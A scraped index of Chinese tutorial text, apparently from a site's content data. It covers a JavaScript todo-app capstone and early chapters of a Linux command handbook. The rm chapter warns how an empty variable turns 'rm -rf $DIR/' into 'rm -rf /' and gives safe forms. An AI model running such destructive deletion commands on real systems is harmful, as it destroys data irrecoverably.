其他。项目再大就会遇到新问题：几百个模块逐个写标签不现实、新语法旧浏览器不认、npm 上的包怎么用。这就是构建工具（现在的默认答案是 Vite）出场的原因：你安心写模块和装包，它负责打包、压缩、兼容旧浏览器。学完下一章的收尾实战，你就具备了看懂一个 Vite 项目 src\u002F 目录的全部前置知识。",{"id":132003,"title":73662,"titles":132004,"content":132005,"level":341},"\u002Ftutorials\u002Fjs#二十一综合实战从能跑到像样",[61741],"毕业考试不用另出题：把 21 章的技能串起来做一个待办清单就够了。需求列清楚——添加（含校验）、勾选完成、删除、按状态筛选、显示剩余数量、刷新后数据还在。先看一版「能跑但毛病一堆」的实现，再逐条改造成能进产品的水准。",{"id":132007,"title":73673,"titles":132008,"content":132009,"level":357},"\u002Ftutorials\u002Fjs#第一版能跑就行",[61741,73662],"下面的版本功能真的都能用：回车添加、勾选、删除。但代码里有六个毛病，每一个都是前面某章点名讲过的——先玩一玩，看你能认出几个（提示：输入框里输入 \u003Cb>我有格式\u003C\u002Fb> 再回车，看看会发生什么）。 对照下面的清单找一找，看你说中了几个。 「能跑版」的毛病 改造版怎么治 出处 全局变量满天飞 用闭包把状态藏起来，对外只暴露操作函数 七、十 innerHTML 拼字符串 createElement + textContent，用户输入永远当文本 十四 onclick 属性、函数挂 window addEventListener + 事件委托，一个监听管全部条目 十五 不 trim、不校验 trim + 空值\u002F长度拦截 + 错误提示 八、十六 刷新即失 JSON + localStorage，先探测再兜底 十七 数据与界面搅在一起 分出数据层 \u002F 渲染层：一切改动 = 改数据 + 重新 render 十四、二十 改造版还顺手加了一处毛病清单之外的东西：保存状态用 async \u002F await 模拟异步落盘（真实项目里这里就是一次 fetch POST），右上角能看到「保存中… → 已保存」的流转。",{"id":132011,"title":73780,"titles":132012,"content":314,"level":357},"\u002Ftutorials\u002Fjs#第二版改造版",[61741,73662],{"id":132014,"title":73788,"titles":132015,"content":132016,"level":357},"\u002Ftutorials\u002Fjs#改造版的骨架其实就三件事",[61741,73662],"数据层用闭包藏住状态，对外只有一组操作函数——你会注意到所有修改都是「不可变更新」，而数组的 map \u002F filter \u002F reduce 全用上了： function createStore(initial) {\n  let todos = initial\n  let seq = todos.reduce((max, t) => Math.max(max, t.id), 0)\n  return {\n    add(text) { todos = [...todos, { id: ++seq, text: text, done: false }] },\n    toggle(id) { todos = todos.map((t) => (t.id === id ? { ...t, done: !t.done } : t)) },\n    remove(id) { todos = todos.filter((t) => t.id !== id) },\n    get() { return todos },\n  }\n} 渲染层一切从数据出发，事件用一个委托全部接管——数据变了就重新 render，界面永远和数据对得上，不存在「哪里忘了同步」： function render() {\n  list.replaceChildren(...visible().map(renderItem))\n}\n\nlist.addEventListener('click', (e) => {\n  const item = e.target.closest('.item')\n  if (!item) return\n  const id = Number(item.dataset.id)\n  if (e.target.matches('.del')) { store.remove(id); commit('删除') }\n  else if (e.target.matches('input[type=\"checkbox\"]')) { store.toggle(id); commit('更新') }\n}) 剩下的都是普通代码。把示例在「在新标签页打开」后对着源码再读一遍——每一行都能对应回某一章。",{"id":132018,"title":74180,"titles":132019,"content":132020,"level":357},"\u002Ftutorials\u002Fjs#你已经走完了什么",[61741,73662],"从第一章「script 放在哪」到能独立写出上面这个应用：变量、类型、函数、闭包、对象、类、错误、DOM、事件、表单、BOM、异步、fetch、模块——21 章没有一章是多余的，它们都在你刚才玩的这个页面里出现了。 接下来去哪：想直接上框架就学 Vue 或 React（你在读的这个站点就是 Vue 写的——回头看你写的 render()，是不是已经有点「响应式」的形状了）；想补类型上 TypeScript；想吃透 npm 生态就认真学 Vite；想碰后端就顺着 Node.js 往下走。工具会换，但变量、函数、异步、模块这些地基不会。",{"id":132022,"title":74193,"titles":132023,"content":132024,"level":357},"\u002Ftutorials\u002Fjs#最后一份检查清单",[61741,73662],"下面这些如果都能不看教程写出来、并且讲给别人听明白，这门课就毕业了： 说清 var \u002F let \u002F const 的区别，以及「const 锁的是绑定不是值」 分清原始值和对象传参的差别，说得出什么叫浅拷贝 用解构、展开、可选链把日常代码写短而不晦涩 写好箭头函数，解释闭包为什么能「记住」外层变量 熟练用 map \u002F filter \u002F reduce \u002F find 加工数组 用 class 加私有字段写一个小型数据结构 用 throw \u002F try \u002F catch \u002F finally 搭起错误处理 用 querySelector \u002F createElement \u002F textContent 安全地操作 DOM 用事件委托让动态列表「一器多用」，说清 preventDefault 和 stopPropagation 的分工 用 FormData 与 submit 事件读写、校验一张表单 用 setTimeout \u002F setInterval 排列时间，用 Promise 与 async \u002F await 消费异步 写 fetch 时记得查 res.ok，POST 时记得 JSON.stringify 用 JSON 往返在 localStorage 里存对象，并做可用性探测与兜底 把代码拆成 utils \u002F store \u002F main，理顺 import \u002F export 清单里每一条，正文里都配了示例。以后哪条卡住了，回来翻对应那一章就好。",{"id":132026,"title":74250,"titles":132027,"content":132028,"level":357},"\u002Ftutorials\u002Fjs#写在最后",[61741,73662],"教程到这儿就结束了，但「会 JS」这件事只能靠写出来。去找一个你自己每天真用得上的小需求——记账、单词卡、值班表，什么都行——用这 21 章的全部本事把它做出来。过程中卡住的每一处，都比再读一遍教程管用。 html pre.shiki code .sAwPA, html code.shiki .sAwPA{--shiki-default:#6A737D}html pre.shiki code .s95oV, html code.shiki .s95oV{--shiki-default:#E1E4E8}html pre.shiki code .s4JwU, html code.shiki .s4JwU{--shiki-default:#85E89D}html pre.shiki code .svObZ, html code.shiki .svObZ{--shiki-default:#B392F0}html pre.shiki code .sU2Wk, html code.shiki .sU2Wk{--shiki-default:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .snl16, html code.shiki .snl16{--shiki-default:#F97583}html pre.shiki code .sDLfK, html code.shiki .sDLfK{--shiki-default:#79B8FF}html pre.shiki code .s9osk, html code.shiki .s9osk{--shiki-default:#FFAB70}html pre.shiki code .sns5M, html code.shiki .sns5M{--shiki-default:#DBEDFF}html pre.shiki code .sRjNt, html code.shiki .sRjNt{--shiki-default:#85E89D;--shiki-default-font-weight:bold}",{"id":96415,"title":74425,"titles":132030,"content":96413,"level":334},[],{"id":132032,"title":74431,"titles":132033,"content":132034,"level":341},"\u002Ftutorials\u002Flinux#一开始敲命令之前终端与帮助系统",[74425],"在 Linux 中，学会「查命令」比背命令更重要。打开终端准备敲命令之前，有几个「不查不好意思问」的基础问题：眼前这行提示符是什么意思、忘了参数去哪查、为什么同一个 sh 在不同机器上行为不一样。这一章把这几件事说清楚，后面 16 章就能直接跳着查。 本手册的定位是速查：每个命令一小节，先给最常见的可直接复制的写法，再解释参数，最后补一句注意事项。遇到破坏性命令（rm -rf、mkfs、dd、kill -9）会单独标出风险。",{"id":132036,"title":74459,"titles":132037,"content":132038,"level":357},"\u002Ftutorials\u002Flinux#_1-先看提示符你是谁在哪什么身份",[74425,74431],"观察点 长这样 含义 普通用户提示符 deploy@server:~$ 用户 deploy、主机 server、当前目录 ~、$ 表示非 root root 提示符 root@server:\u002Fsrv\u002Fapp# 结尾是 #，此刻敲的命令不再需要 sudo 只有 bash-4.4$ 容器里常见 $PS1 没配置，通常是精简镜像，功能可能缺 续行提示符 > 引号或括号没闭合，Ctrl-C 放弃当前输入 光标处 ^（vi 里） 光标在 ^ 那个字符上，不在它后面 本手册示例统一假设：用户 deploy、主机 server、工作目录 \u002Fsrv\u002Fapp 或 \u002Fhome\u002Fdeploy、Shell 是 bash。行首的 $ 是提示符的一部分，复制到终端时不要把它带上。",{"id":132040,"title":74591,"titles":132041,"content":132042,"level":357},"\u002Ftutorials\u002Flinux#_2-man-查看命令手册页",[74425,74431],"man 是 manual（手册）的缩写，是 Linux 最权威的查命令方式。 示例 1：查看 ls 的手册页 man ls        # 打开 ls 的手册页 打开后：q 退出、\u002F关键词 搜索、n 跳到下一个匹配、空格翻页。 示例 2：指定章节编号 man 1 printf  # 1=用户命令，5=文件格式，8=管理命令\nman -k printf # 按关键词反查相关命令（等价于 apropos printf） 同一个名字在不同章节可能有多个手册页（比如 printf 既是命令又是 C 函数），man -a printf 可以一次看完所有同名章节。 示例 3：只要一行说明 whatis grep   # 只输出一行描述：grep pattern lines matched\napropos firewall  # 反过来：按关键词找命令名，能列出 rsync、dump 之类",{"id":132044,"title":74708,"titles":132045,"content":132046,"level":357},"\u002Ftutorials\u002Flinux#_3-help-与-tldr-更快的两种查法",[74425,74431],"示例 1：选项速查 ls --help        # 一屏列出全部选项，日常最常用，够用了\nls --version     # 看命令版本与所属包，GNU 核心工具会写 ls (GNU coreutils) 9.x 示例 2：只看真实示例 tldr ls          # 需要装 tldr 包；只给真实用法示例，比 man 快十倍 示例 3：超长的 GNU 手册 info coreutils 'ls invocation'   # 层级导航：u 上级、n\u002Fp 前后节点 实用结论：查「某个参数是否存在、拼写对不对」用 --help 就够了；要看退出码、示例、相关文件用 man；--help 只讲参数，不讲「我该用哪个命令」，后者靠 apropos 和搜索引擎。",{"id":132048,"title":74801,"titles":132049,"content":132050,"level":357},"\u002Ftutorials\u002Flinux#_4-typewhichcommand-这条命令到底从哪来",[74425,74431],"Linux 的「命令」其实分三种类型，搞清类型能解释一大半「找不到命令」和「行为不对」： 类型 例子 type 的输出 说明 Shell 内建命令 cd echo export source alias cd is a shell builtin 由 Shell 进程自己实现，改不了当前目录这类事的只能做成内建 外部命令（可执行文件） ls grep systemctl grep is \u002Fusr\u002Fbin\u002Fgrep 在 PATH 里找文件，fork 子进程执行 函数 \u002F 别名 自定义 ll()、alias rm='rm -i' ll is a function 只在当前 Shell 生效，脚本里看不到 示例 1：排查「为什么我的 ls 带颜色」 type -a ls    # 把别名\u002F函数\u002F内建\u002F文件全部来源列出来 示例 2：脚本里的标准写法 command -v python3   # 只返回可执行路径；if ! command -v python3 >\u002Fdev\u002Fnull; then …; fi\nwhich curl           # 只在 PATH 找文件（外部命令），看不到内建与别名，脚本别用它\nwhereis nginx        # 顺带给出二进制、源码、man 页位置，装完不知道手册在哪时用 ls 这类命令既是外部命令又常被别名覆盖，交互式排查首选 type -a，写脚本判断用 command -v。",{"id":132052,"title":74973,"titles":132053,"content":132054,"level":357},"\u002Ftutorials\u002Flinux#_5-发行版差异会体现在哪",[74425,74431],"同一句命令在不同发行版上可能失效，差异集中在四个地方： 方面 Debian\u002FUbuntu RHEL\u002FRocky\u002FFedora Alpine 包管理 apt、dpkg dnf\u002Fyum、rpm apk C 库与命令风格 GNU coreutils GNU coreutils BusyBox（ls、find、sed 参数是精简版） sudo 默认可用 默认可用 默认没有，需 apk add sudo 服务管理 systemctl（容器内常缺） systemctl 多用 OpenRC 或 supervisord 防火墙后端 ufw 常见 firewalld 常见 iptables\u002Fnftables 裸用 Shell 默认 bash bash ash（sh 指向 BusyBox ash） head -n 这类基础参数四处一致；差异大的是 sed -i（BusyBox 要求 -i '' 或干脆不支持同时给后缀）、date -d（BusyBox 只支持少数格式）、find -printf（BusyBox 无）。写跨发行版的脚本时，第一行用 #!\u002Fbin\u002Fsh 就别用 bash 语法，用 #!\u002Fbin\u002Fbash 就要确认机器上有 bash。",{"id":132056,"title":75156,"titles":132057,"content":132058,"level":357},"\u002Ftutorials\u002Flinux#踩坑提醒",[74425,74431],"man 页在容器里经常是空的（没装 man 和手册包）：apt install man-db manpages，或临时靠 --help 与 tldr。 帮助文本分「BSD 版」与「GNU 版」两套，macOS 的 sed -i、date -j 与 Linux 不通用，别把网上抄的 macOS 写法放到服务器上。 --help 只讲参数，不讲「我该用哪个命令」。后者靠 apropos 和搜索引擎。",{"id":132060,"title":75194,"titles":132061,"content":132062,"level":341},"\u002Ftutorials\u002Flinux#二文件与目录lscdcpmvrmln",[74425],"日常一半的终端时间花在「这个目录里有什么」「把这个文件挪到那里」。这一章的命令都写成可以直接复制粘贴的形式，重点在于看清 ls -l 的每个字段、理解复制与移动的差别，以及明白 rm -rf 为什么不能随手敲。",{"id":132064,"title":75212,"titles":132065,"content":132066,"level":357},"\u002Ftutorials\u002Flinux#_1-ls-列出目录内容",[74425,75194],"ls 是 Linux 中使用频率最高的命令之一，用于列出目录中的文件。 示例 1：列出详细信息（最常用） ls -lh \u002Fsrv\u002Fapp    # -l 长格式列出，-h 文件大小以 K\u002FM\u002FG 人读格式显示 输出长这样，十个字符的权限串是本章唯一需要「背」的东西： $ ls -l \u002Fsrv\u002Fapp\n-rw-r--r-- 1 deploy deploy  1.2K Oct  4 09:12 app.py\ndrwxr-xr-x 3 deploy deploy  4.0K Oct  4 09:20 static\nlrwxrwxrwx 1 deploy deploy    11 Oct  4 09:21 current -> releases\u002Fv7\n-rwsr-xr-x 1 root   root   144.0K Mar 14  2024 helper 位置 内容 含义 第 1 字符 - d l c b s p 类型：普通文件 \u002F 目录 \u002F 链接 \u002F 字符设备 \u002F 块设备 \u002F socket \u002F 管道 第 2-4 rwx 属主（第三列的 deploy）的权限 第 5-7 r-- 属组（第四列）的权限 第 8-10 r-- 其他人的权限 第 2\u002F5\u002F8 位 s 或 S setuid（属主位）\u002F setgid（属组位）；大写 S 表示「有标记但没有对应 x」 最后一位 t 或 T sticky bit，常见于 \u002Ftmp（drwxrwxrwt） 第 2 列 1 \u002F 3 硬链接数；目录至少 2（. 和 ..），所以看到 1 说明不是目录 第 6 列 1.2K \u002F 4.0K 文件字节数；目录显示的是它自己的 inode 表大小，不含内容 第 7 列 Oct 4 09:12 mtime（内容最后改动时间）；ls -lu 看 atime，ls -lc 看 ctime（元数据变更） 示例 2：显示隐藏文件 ls -la    # -a 包含以 . 开头的隐藏文件；不加时不显示 示例 3：按不同方式排序 ls -lt           # -t 按修改时间，最新在前\nls -lS           # -S 按大小\nls -lr           # -r 反向排序\nls -lX           # -X 按扩展名 示例 4：方便脚本与管道 ls -1                              # -1 单列输出，方便接管道\nls -Q                              # -Q 每个名字加引号，含空格的文件名安全\nls --time-style=long-iso           # 日期变成 2026-10-04 09:12，脚本里更好解析 注意：ls 无参数时隐藏文件不显示；目录显示的大小不含内容，看总占用要用 du -sh。",{"id":132068,"title":75577,"titles":132069,"content":132070,"level":357},"\u002Ftutorials\u002Flinux#_2-pwd-打印当前目录",[74425,75194],"示例 1：我在哪 pwd         # 打印当前工作目录的绝对路径\npwd -P      # -P 解析掉所有符号链接，给出真实路径 Shell 有个同名内建的 pwd，pwd -P 走的是外部命令版本。",{"id":132072,"title":75618,"titles":132073,"content":132074,"level":357},"\u002Ftutorials\u002Flinux#_3-cd-切换目录",[74425,75194],"示例 1：几种常用跳法 cd \u002Fsrv\u002Fapp    # 绝对路径\ncd ~           # 回用户主目录（cd 不带参数效果相同）\ncd ..          # 上一层\ncd -           # 回到上一个待过的目录 注意：cd 是内建命令，只对当前 Shell 生效——在子 shell（比如脚本、( … )）里 cd 改不了父目录。",{"id":132076,"title":75682,"titles":132077,"content":132078,"level":357},"\u002Ftutorials\u002Flinux#_4-mkdir-与-rmdir-建目录删空目录",[74425,75194],"示例 1：创建多级目录 mkdir build          # 建单层目录，父目录不存在会失败\nmkdir -p a\u002Fb\u002Fc       # -p 逐级创建，已存在也不报错\nmkdir -p logs\u002F{2026..2028}   # 花括号展开，一次建三年目录 示例 2：删除目录 rmdir build          # 只能删空目录，非空就报错——比 rm -r 安全得多",{"id":132080,"title":75750,"titles":132081,"content":132082,"level":357},"\u002Ftutorials\u002Flinux#_5-touch-创建空文件或更新时间戳",[74425,75194],"示例 1：两个用途 touch app.log                    # 文件不存在就建空的；存在就更新 mtime\ntouch -d \"2026-10-01\" f          # -d 指定时间戳 部署时常用 touch「戳一下」源文件触发增量构建。",{"id":132084,"title":75796,"titles":132085,"content":132086,"level":357},"\u002Ftutorials\u002Flinux#_6-tree-树状展示目录",[74425,75194],"示例 1：限制深度 tree -L 2                  # -L 2 只显示两层，目录巨大时防止刷屏\ntree -aI '__pycache__'     # -a 含隐藏文件，-I 用正则排除 注意：tree 可能未安装（apt install tree）。",{"id":132088,"title":75844,"titles":132089,"content":132090,"level":357},"\u002Ftutorials\u002Flinux#_7-cp-复制",[74425,75194],"复制 = 原件保留、再拷贝一份。最常用的就两种写法： 示例 1：只复制内容 cp app.py \u002Ftmp\u002Fapp.py    # 目标权限按 umask 重算，属主变成执行者；生产备份别用这个 示例 2：完整备份（保留属性） cp -a src\u002F backup\u002F       # -a = -rp --preserve=links,timestamps：递归 + 保权限\u002F时间戳\u002F链接 示例 3：防覆盖 cp -i a.txt \u002Ftmp\u002F        # -i 目标已存在时先问；脚本里建议加，或直接先判断存在 跨机复制目录不要直接用 cp，用 rsync -a src\u002F host:\u002Fsrv\u002Fapp\u002F（见第十三章），它保留属性且可断点续传。",{"id":132092,"title":75933,"titles":132093,"content":132094,"level":357},"\u002Ftutorials\u002Flinux#_8-mv-移动与改名",[74425,75194],"示例 1：改名 \u002F 移动 mv a.txt old\u002Fa_2026-10-04.txt   # 同分区改名是改目录项，瞬时完成\nmv big.iso \u002Fmnt\u002Fusb\u002F            # 跨分区是先复制再删，慢且占双份空间 示例 2：控制覆盖行为 mv -n a b    # -n 目标存在就不覆盖\nmv -b a b    # -b 覆盖前先把目标备份一份",{"id":132096,"title":76011,"titles":132097,"content":132098,"level":357},"\u002Ftutorials\u002Flinux#_9-rm-删除危险命令先读三条铁律",[74425,75194],"rm 删除是不可逆的：它直接 unlink inode，文件系统层面没有回收站；debugfs\u002Fphotorec 抢救成功率低且需要立刻停止写入。 示例 1：安全地删 rm -i notes.txt      # -i 每个文件都确认\nrm -I build\u002F         # -I 只在删超过 3 个文件或递归时问一次，日常推荐\nrm -rf build\u002F        # -r 递归、-f 强制 —— 不可逆，谨慎 示例 2：删除前先看一眼范围 find build -type f -print    # 确认范围再动手，比事后找回容易；确定无误后把 -print 换成 -delete rm -rf 的三条铁律： 路径必须先补全再回车。rm -rf $DIR\u002F 在 $DIR 为空时变成 rm -rf \u002F（新版 coreutils 会拒绝，但 rm -rf \u002Fhome\u002Fdeploy\u002F 不会）。安全写法：rm -rf \"${DIR:?变量未设置}\u002F\"*。 不要在 cd 失败的目录里执行。脚本里写 cd \u002Fsrv\u002Fapp && rm -rf cache 用 &&，别用 ;——cd 失败时 ; 后面的命令会在当前目录执行。 保护参数：--preserve-root（默认开启，防 rm -rf \u002F）；手生时永远先加 -i。",{"id":132100,"title":76167,"titles":132101,"content":132102,"level":357},"\u002Ftutorials\u002Flinux#_10-ln-软链接与硬链接",[74425,75194],"Linux 的链接分两种，用法和性质完全不同： 维度 软链接（symbolic） 硬链接（hard） 创建 ln -s \u002Fsrv\u002Fapp\u002Freleases\u002Fv7 current ln big.txt big.bak 本质 独立 inode，存的是路径字符串 同一 inode 的第二个目录项 目标删了 变成悬空链接，ls -l 显示红色 内容仍在，链接数减 1；归零才真删数据 跨文件系统 可以（存路径） 不可以 指向目录 可以 一般禁止（root 也不建议） 权限位 lrwxrwxrwx（固定，实际权限看目标） 与目标共享权限 示例 1：发布目录的经典用法 ln -s \u002Fsrv\u002Fapp\u002Freleases\u002Fv7 current    # -s 建软链接，「版本目录 + current 指针」的发布方式\nln -sfn \u002Fsrv\u002Fapp\u002Freleases\u002Fv8 current  # 切换版本：-f 覆盖已存在的同名链接，-n 把它当普通文件处理 注意：-n 不能省——否则 ln -s 新目标 current 会把新链接建到 current\u002F 目录里面去，这是最经典的坑。",{"id":132104,"title":76324,"titles":132105,"content":132106,"level":357},"\u002Ftutorials\u002Flinux#_11-路径的三种写法与通配符",[74425,75194],"写法 例子 展开时机 绝对路径 \u002Fsrv\u002Fapp\u002Fapp.py 永远有效，脚本里首选 相对路径 .\u002Fstatic\u002Flogo.png、..\u002F..\u002Flogs\u002Fapp.log 依赖当前目录，cd 后就变了 主目录 ~\u002Fdownloads\u002Fa.zip（~ 在最前才生效） Shell 展开为 $HOME 通配符（glob）与花括号展开： 模式 匹配 备注 *.log 所有以 .log 结尾 没有匹配时 bash 默认原样保留该字符串（导致奇怪报错）；shopt -s nullglob 让它展开为空 app?.py 单字符占位 app12.py 不匹配 [0-9]* 字符集开头 [!0-9]* 或 [^0-9]* 取反 **\u002F*.js 递归 需要 shopt -s globstar extglob {a,b}.conf a.conf b.conf 花括号展开发生在通配之前，适合批量建文件 file_{1..5}.tmp 5 个名字 mkdir -p logs\u002F{2026..2028} 一次建三年目录 空格与特殊字符的文件名永远用引号包：cp \"my report 2026.pdf\" \u002Ftmp\u002F。确认目录里有带换行的怪文件时用 ls -Q 或 find . -print0。",{"id":132108,"title":75156,"titles":132109,"content":132110,"level":357},"\u002Ftutorials\u002Flinux#踩坑提醒-1",[74425,75194],"ls -l 看到目录大小 4.0K 不代表里面只有 4KB，看总占用用 du -sh 目录（第十四章）。 cp 到已存在的同名文件会静默覆盖，脚本里加 -i 或先判断存在；mv 同样，-n 表示不覆盖，-b 覆盖前备份。 别名陷阱：很多发行版给 root 配了 alias rm='rm -i'，交互式很爽，脚本里 rm 卡在确认上。脚本开头 unalias -a 2>\u002Fdev\u002Fnull 或直接写 \u002Fbin\u002Frm。 用 ls | xargs rm 处理带空格的文件名会出大事，正确做法是 find … -print0 | xargs -0 rm --（第六章、第八章）。",{"id":132112,"title":76590,"titles":132113,"content":132114,"level":341},"\u002Ftutorials\u002Flinux#三查看文件内容catheadtaillessfile",[74425],"看日志、看配置、看二进制里嵌的字符串——目的不同，工具差别很大。选错工具的后果通常是：cat 一个 8GB 日志把终端刷爆，或者用 less 打开后不知道怎么退出。",{"id":132116,"title":76604,"titles":132117,"content":132118,"level":357},"\u002Ftutorials\u002Flinux#_1-cat-一次性输出整个文件",[74425,76590],"cat 适合短文件；长文件请用 less，超大文件先看体积（ls -lh 或 wc -c）。 示例 1：直接查看 cat \u002Fetc\u002Fnginx\u002Fnginx.conf    # 整个文件输出到终端 示例 2：带行号 cat -n app.py    # -n 每行前面加行号（空行也编号）\nnl file          # 类似但默认只给非空行编号，nl -ba 则全部编号 示例 3：查看不可见字符（查 Windows 换行必备） cat -A Makefile    # 行尾显示 $、Tab 显示 ^I、CR 显示 ^M 看到 ^M$ 就说明文件是 CRLF 行尾，用 sed -i 's\u002F\\r$\u002F\u002F' file 或 dos2unix file 处理。 示例 4：拼接文件 cat part_* > full.bin    # 顺序按参数顺序（glob 展开按名字排序）\ntac access.log           # tac 按行倒序输出，看倒序日志很方便",{"id":132120,"title":76747,"titles":132121,"content":132122,"level":357},"\u002Ftutorials\u002Flinux#_2-head-只看开头",[74425,76590],"示例 1：前 N 行 head -n 200 big.csv    # 前 200 行；-n 指定行数，默认 10 行\nhead -c 512 file       # -c 按字节取 示例 2：去掉末尾几行 head -n -5 data.txt    # 输出除最后 5 行以外的全部内容（GNU 扩展，BusyBox 不支持）",{"id":132124,"title":76814,"titles":132125,"content":132126,"level":357},"\u002Ftutorials\u002Flinux#_3-tail-只看末尾与实时跟踪",[74425,76590],"示例 1：最后 N 行 tail -n 50 app.log     # 默认 10 行 示例 2：实时跟踪日志（最常用的排障动作） tail -f -n 200 app.log      # -f 跟踪追加内容，Ctrl-C 退出\ntail -F \u002Fvar\u002Flog\u002Fsyslog     # -F 在文件被 logrotate 轮转后会重新打开，生产环境用大写 F -f 在日志轮转后会静默停止，这是「tail 看着没动静其实服务在写新文件」的常见原因。 示例 3：跟踪 + 过滤 tail -f app.log | grep --line-buffered ERROR 不加 --line-buffered 会因为管道缓冲看起来「卡住了」。看多文件时 tail -f 会在两个文件间轮流转屏，容易看漏；逐个终端各开一个，或用 multitail。",{"id":132128,"title":76932,"titles":132129,"content":132130,"level":357},"\u002Ftutorials\u002Flinux#_4-less-分页阅读",[74425,76590],"less 是看长文件的标准答案（名字来自「LESS is more」）；more 只能往前翻，除了「机器上只装了它」之外没有理由选它。 示例 1：打开文件 less file    # 打开后按 q 退出——新手最常见的卡住点 键 作用 键 作用 Space \u002F b 下\u002F上一页 g \u002F g 跳到第一行 Enter \u002F y 下\u002F上一行 G 跳到最后一行 \u002F关键词 向下搜索 ?关键词 向上搜索 n \u002F N 下一个 \u002F 上一个匹配 &关键词 只显示匹配行（过滤视图） d \u002F u 半页下\u002F上 q 退出 F 进入跟踪模式（类似 tail -f） v 用 $EDITOR 打开当前文件 -N（启动参数） 显示行号 Ctrl-G 查看当前位置信息 示例 2：常用启动写法 less -N file        # 显示行号\nless +G file        # 打开即停在底部\nless +F app.log     # 打开即跟踪，像 tail -f，按 Ctrl-C 回到翻页\nless -S file        # 长行不折行，用左右箭头横向滚",{"id":132132,"title":77179,"titles":132133,"content":132134,"level":357},"\u002Ftutorials\u002Flinux#_5-file-判断文件的真实类型",[74425,76590],"示例 1：不看扩展名看文件头 file img.png app.so    # 输出如：PNG image data, 800 x 600, 8-bit\u002Fcolor RGB file 判断的是文件头（magic number），因此「扩展名 jpg 实际是 png」这种问题只有它能发现。",{"id":132136,"title":77211,"titles":132137,"content":132138,"level":357},"\u002Ftutorials\u002Flinux#_6-odhexdumpxxdstrings-看二进制",[74425,76590],"示例 1：字节转储 od -c -N 64 file          # 八进制\u002F字符转储，\\n、\\0 直接可见；-N 64 只看前 64 字节\nhexdump -C -n 128 file    # 经典十六进制视图：左偏移、中 16 字节、右 ASCII\nxxd file                  # 同上；xxd -r hex.txt bin 还能把 hex 文本反向写回文件 示例 2：抽出可打印字符串 strings -n 6 app.so                        # 默认最短 4 个字符，-n 6 减少噪音\nstrings -a \u002Fusr\u002Fbin\u002Fnginx | grep -E '^https?:\u002F\u002F'   # 找嵌在二进制里的路径、报错文本、版本号 压缩包不用先解压也能看：zcat app.log.gz、zless app.log.gz（第九章详述）。",{"id":132140,"title":75156,"titles":132141,"content":132142,"level":357},"\u002Ftutorials\u002Flinux#踩坑提醒-2",[74425,76590],"看完日志不记得怎么退出 less：按 q。卡在任何分页程序里，第一反应都是 q，不行再 Ctrl-C。 cat 大文件不会「只看前几行」，它会全部刷到终端，几 GB 的日志能让终端卡几十秒——先用 wc -c 或 ls -lh 确认体积。 复制出来的配置「看着一样但跑不通」，九成是行尾 CRLF：cat -A 看到 ^M$ 就用 sed -i 's\u002F\\r$\u002F\u002F' file 或 dos2unix file 处理。",{"id":132144,"title":77370,"titles":132145,"content":132146,"level":341},"\u002Ftutorials\u002Flinux#四最小编辑器集nano-与够用的-vim",[74425],"服务器上手第一道坎往往不是命令而是编辑器：改一行配置，进了 vi 出不来，或者不知道怎么保存。这一章只讲两个编辑器——nano（新手，键位写在屏幕底部）和 vim（服务器上一定会遇到）——目标是「能改一行、能存盘、能退出」。",{"id":132148,"title":77389,"titles":132149,"content":132150,"level":357},"\u002Ftutorials\u002Flinux#_1-nano-键位就写在屏幕底部",[74425,77370],"nano file 打开后，屏幕底部的 ^ 代表 Ctrl，照着按就行。 示例 1：最常用的四个键 nano \u002Fetc\u002Fnginx\u002Fnginx.conf   # 打开文件\n# Ctrl-O 然后 Enter —— 保存（写入当前文件名）\n# Ctrl-X —— 退出（有改动会问是否保存）\n# Ctrl-W —— 搜索（Where Is） 示例 2：带参数打开 nano +42 \u002Fetc\u002Fnginx\u002Fnginx.conf   # 打开即跳到 42 行\nnano -l file                     # 保存时自动补末尾换行 想永久显示行号，在 ~\u002F.nanorc 写 set linenumbers。完整按键表： 按键 作用 按键 作用 Ctrl-O 然后 Enter 写入（保存）当前文件名 Ctrl-X 退出（有改动会问是否保存） Ctrl-W 搜索（Where Is） Alt-W 重复上一次搜索 Ctrl-K \u002F Ctrl-U 剪切一行 \u002F 粘贴回来 Ctrl-^ 替换（Replace） Ctrl-A \u002F Ctrl-E 行首 \u002F 行尾 Alt-A \u002F Alt-E 设标记起点 \u002F 终点（选块） Ctrl-Shift-6（或 Alt-6） 复制选中块 Alt-Shift-3 删除选中块 Alt-\u002F 撤销 Alt-E（重复） 重做（Ctrl-6 旧版） Ctrl-T 打开拼写检查 Ctrl-R 把另一个文件插进来",{"id":132152,"title":77651,"titles":132153,"content":132154,"level":357},"\u002Ftutorials\u002Flinux#_2-vim-先分清三种模式",[74425,77370],"vim 的行为取决于当前模式，模式之间靠这几个键切换： 模式 进入 能干什么 屏幕底部特征 普通模式（Normal） 启动即在此；Esc 回到 移动、删除、复制粘贴、: 命令 无提示 插入模式（Insert） i a o 打字 -- INSERT -- 命令行模式 普通模式按 : \u002F ? 存盘、退出、搜索、替换 光标跳到最底行 屏幕底部出现 -- INSERT -- 就说明你正在打字而不是在下命令——这是所有 vim 卡住的根源。",{"id":132156,"title":77746,"titles":132157,"content":132158,"level":357},"\u002Ftutorials\u002Flinux#_3-vim-够用的十二个键位",[74425,77370],"按「进得去、改得了、出得来」排序： i          # 在光标前进入插入模式（开始打字）\na          # 在光标后插入\no          # 在下方开一个新行并插入（加新配置行必备）\nEsc        # 回到普通模式——打完字的第一件事\n:w         # 保存（write）\n:q         # 退出（有未保存改动会拒绝）\n:q!        # 强制退出并丢弃改动——「怎么退出 vim」的正确答案\n:wq        # 保存并退出（也可以按 ZZ）\nx          # 普通模式下删除光标处一个字符\ndd         # 剪切一行（复制用 yy，粘贴用 p）\nu          # 撤销（重做 Ctrl-R）\n\u002F关键词    # 向下搜索，按 n 跳下一个（? 向上）\ngg         # 跳到文件第一行（G 跳最后一行）",{"id":132160,"title":77854,"titles":132161,"content":132162,"level":357},"\u002Ftutorials\u002Flinux#_4-进阶但极常用的四个改配置真的会用到",[74425,77370],":%s\u002Fold\u002Fnew\u002Fg      # 全文替换；加 c 变 :%s\u002Fold\u002Fnew\u002Fgc 逐个确认\n:10,20s\u002F^\u002F# \u002F      # 只在 10–20 行行首加注释（范围替换）\n:30                # 跳到 30 行；:10,30d 删除 10–30 行\nv                  